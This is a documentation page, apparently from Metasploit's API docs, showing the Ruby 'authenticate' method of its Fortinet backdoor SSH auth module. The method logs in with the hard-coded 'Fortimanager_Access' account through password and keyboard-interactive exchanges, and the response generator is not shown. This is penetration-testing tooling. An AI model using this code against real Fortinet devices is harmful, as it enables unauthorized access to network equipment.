15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
|
# File 'lib/msf/core/exploit/remote/ssh/auth_methods/fortinet_backdoor.rb', line 15
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }
send_message(userauth_request(
=begin
string user name
string service name
string "password"
boolean FALSE
string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
=end
username,
service_name,
'password',
false,
password || ''
))
tried = false
loop do
message = session.next_message
return false unless message
case message.type
when USERAUTH_SUCCESS
debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
return true
when USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
break if tried
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
send_message(userauth_request(
=begin
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
string service name (US-ASCII)
string "keyboard-interactive" (US-ASCII)
string language tag (as defined in [RFC-3066])
string submethods (ISO-10646 UTF-8)
=end
username,
service_name,
'keyboard-interactive',
'',
''
))
tried = true
when USERAUTH_INFO_REQUEST
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
=begin
string name (ISO-10646 UTF-8)
string instruction (ISO-10646 UTF-8)
string language tag (as defined in [RFC-3066])
int num-prompts
string prompt[1] (ISO-10646 UTF-8)
boolean echo[1]
...
string prompt[num-prompts] (ISO-10646 UTF-8)
boolean echo[num-prompts]
=end
name = message.read_string
instruction = message.read_string
_ = message.read_string
prompts = []
message.read_long.times do
prompt = message.read_string
echo = message.read_bool
prompts << [prompt, echo]
end
debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
send_message(Net::SSH::Buffer.from(
=begin
byte SSH_MSG_USERAUTH_INFO_RESPONSE
int num-responses
string response[1] (ISO-10646 UTF-8)
...
string response[num-responses] (ISO-10646 UTF-8)
=end
:byte, USERAUTH_INFO_RESPONSE,
:long, 1,
:string, custom_handler(name, instruction, prompts)
))
else
raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
end
end
end
|